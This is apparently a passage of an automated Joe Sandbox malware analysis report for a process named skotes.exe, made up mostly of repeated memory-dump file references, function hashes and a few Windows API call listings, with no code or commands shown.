Associated: 00000005.00000002.2296310618.00000000009C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296341537.00000000009C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296369732.00000000009CF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296397735.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296435745.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296500520.00000000009D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296548650.00000000009E0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296596787.00000000009E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296627211.00000000009E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296661578.00000000009EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296697593.00000000009FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296730490.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296762599.0000000000A0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296873207.0000000000A43000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296907625.0000000000A45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296943274.0000000000A59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296974941.0000000000A5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297009123.0000000000A5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297040999.0000000000A5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297074464.0000000000A61000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297110804.0000000000A6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297144690.0000000000A70000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_760000_ECPOM47708SKW2N887NP33WQCGSG.jbxd

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: a9e4e5abb2715e03f43635874466aa7914517c0d875b09318c8b5d42e58ec41e
Instruction ID: c3ed6a50a9e739ce126cdc256e120a407f070777646c39c9df11fcfbfebaf8b5
Opcode Fuzzy Hash: a9e4e5abb2715e03f43635874466aa7914517c0d875b09318c8b5d42e58ec41e
Instruction Fuzzy Hash: CE31E771A002589FDB14CB6CDC85FAB77BCEB09724F004629F915E73D1D678A8448BA4

Function 0077CBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,0077CF52,?,00000003,00000003,?,0077CF87,?,?,?,00000003,00000003,?,0077C4FD,00762FB9,00000001), ref: 0077CC03

Memory Dump Source

Source File: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp, Offset: 00760000, based on PE: true

Associated: 00000005.00000002.2294375676.0000000000760000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294419353.00000000007C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294570330.00000000007C9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294616265.00000000007CB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294659895.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294922477.0000000000928000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294982449.000000000092A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295089986.0000000000941000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295189425.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.0000000000945000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.000000000094D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295342031.0000000000955000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295388882.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295434841.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295465475.0000000000958000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295537926.0000000000968000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295574022.0000000000969000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295637127.000000000097B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295668453.000000000097D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295722717.000000000097E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295769191.000000000097F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295817924.0000000000987000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295869755.0000000000991000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295925431.00000000009A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295996034.00000000009A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296039350.00000000009A9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296068701.00000000009AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296098655.00000000009B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296135068.00000000009B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296167571.00000000009B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296210889.00000000009B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296242416.00000000009B9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296279780.00000000009C0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296310618.00000000009C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296341537.00000000009C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296369732.00000000009CF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296397735.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296435745.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296500520.00000000009D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296548650.00000000009E0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296596787.00000000009E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296627211.00000000009E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296661578.00000000009EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296697593.00000000009FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296730490.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296762599.0000000000A0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296873207.0000000000A43000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296907625.0000000000A45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296943274.0000000000A59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296974941.0000000000A5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297009123.0000000000A5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297040999.0000000000A5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297074464.0000000000A61000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297110804.0000000000A6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297144690.0000000000A70000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_760000_ECPOM47708SKW2N887NP33WQCGSG.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 34d5338e1f6fc0f90b7b1e2ea98abdfd000cc989529f0778371ca2770121efb5
Instruction ID: 6018ee0bea5184e6d9539cc490e6f9451947029122f9eb02645254c342d26560
Opcode Fuzzy Hash: 34d5338e1f6fc0f90b7b1e2ea98abdfd000cc989529f0778371ca2770121efb5
Instruction Fuzzy Hash: B4D02232502038AB8E172B88EC00CADBB48DB09B94300821AEE0C53120CA5ABCC04BE9

Function 0079A302 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp, Offset: 00760000, based on PE: true

Associated: 00000005.00000002.2294375676.0000000000760000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294419353.00000000007C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294570330.00000000007C9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294616265.00000000007CB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294659895.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294922477.0000000000928000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294982449.000000000092A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295089986.0000000000941000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295189425.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.0000000000945000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.000000000094D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295342031.0000000000955000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295388882.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295434841.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295465475.0000000000958000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295537926.0000000000968000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295574022.0000000000969000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295637127.000000000097B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295668453.000000000097D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295722717.000000000097E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295769191.000000000097F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295817924.0000000000987000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295869755.0000000000991000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295925431.00000000009A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295996034.00000000009A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296039350.00000000009A9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296068701.00000000009AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296098655.00000000009B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296135068.00000000009B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296167571.00000000009B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296210889.00000000009B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296242416.00000000009B9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296279780.00000000009C0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296310618.00000000009C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296341537.00000000009C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296369732.00000000009CF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296397735.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296435745.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296500520.00000000009D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296548650.00000000009E0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296596787.00000000009E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296627211.00000000009E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296661578.00000000009EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296697593.00000000009FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296730490.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296762599.0000000000A0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296873207.0000000000A43000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296907625.0000000000A45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296943274.0000000000A59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296974941.0000000000A5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297009123.0000000000A5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297040999.0000000000A5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297074464.0000000000A61000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297110804.0000000000A6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297144690.0000000000A70000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_760000_ECPOM47708SKW2N887NP33WQCGSG.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: ed1d433c25d37e2bcf70b9e3bc677daa7a334f9062fbaf93f7a06da60fd7be6d
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 51E08C32922228EBCB14DF98E90898AF3ECEB49B00B650096F901D3150C274DE00C7D0

Function 00762EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00762F5F
__Mtx_unlock.LIBCPMT ref: 00762FCC
__Mtx_unlock.LIBCPMT ref: 007630F5
__Mtx_unlock.LIBCPMT ref: 0076319B

Memory Dump Source

Source File: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp, Offset: 00760000, based on PE: true

Associated: 00000005.00000002.2294375676.0000000000760000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294419353.00000000007C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294570330.00000000007C9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294616265.00000000007CB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294659895.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294922477.0000000000928000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294982449.000000000092A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295089986.0000000000941000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295189425.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.0000000000945000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.000000000094D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295342031.0000000000955000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295388882.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295434841.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295465475.0000000000958000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295537926.0000000000968000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295574022.0000000000969000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295637127.000000000097B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295668453.000000000097D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295722717.000000000097E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295769191.000000000097F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295817924.0000000000987000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295869755.0000000000991000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295925431.00000000009A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295996034.00000000009A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296039350.00000000009A9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296068701.00000000009AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296098655.00000000009B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296135068.00000000009B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296167571.00000000009B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296210889.00000000009B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296242416.00000000009B9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296279780.00000000009C0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296310618.00000000009C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296341537.00000000009C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296369732.00000000009CF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296397735.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296435745.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296500520.00000000009D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296548650.00000000009E0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296596787.00000000009E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296627211.00000000009E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296661578.00000000009EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296697593.00000000009FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296730490.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296762599.0000000000A0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296873207.0000000000A43000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296907625.0000000000A45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296943274.0000000000A59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296974941.0000000000A5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297009123.0000000000A5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297040999.0000000000A5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297074464.0000000000A61000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297110804.0000000000A6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297144690.0000000000A70000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_760000_ECPOM47708SKW2N887NP33WQCGSG.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 9154b5ebd1597603992c665d70fc9ed750bbeaf19059c189bb8ed29181e72c2f
Instruction ID: 63370f47d698336312f7fc3dcf5dbf6948066c3094f64073f179090e0ac300c5
Opcode Fuzzy Hash: 9154b5ebd1597603992c665d70fc9ed750bbeaf19059c189bb8ed29181e72c2f
Instruction Fuzzy Hash: 18A1D2B0A01605DFDF25DF64C948B9AB7B8FF19354F048129EC1AD7642EB39DA04CB91

Analysis Process: skotes.exePID: 6548, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	611
Total number of Limit Nodes:	4

Executed Functions

Function 00EF652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00EF652A,?,?,?,?,?,00EF7661), ref: 00EF6567

Memory Dump Source

Source File: 00000006.00000002.2335074670.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.2335035027.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335074670.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335193269.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335231202.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335269952.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335455174.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335589622.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335635478.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335678079.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335798300.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335837054.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335885809.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335928297.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335973271.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336030002.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336118096.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336162258.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336206297.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336246713.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336275470.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336316817.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336379108.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336421783.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336469114.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336515089.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336543688.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336584331.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336625184.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336666700.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336706962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336750064.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336790934.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336830261.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336878176.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336920324.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336961173.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337003562.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337043898.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337090035.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337131693.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337174688.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337238018.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337279038.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337320514.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337457213.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337497960.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337539739.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337581829.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337621118.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337664553.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337703515.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337764369.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
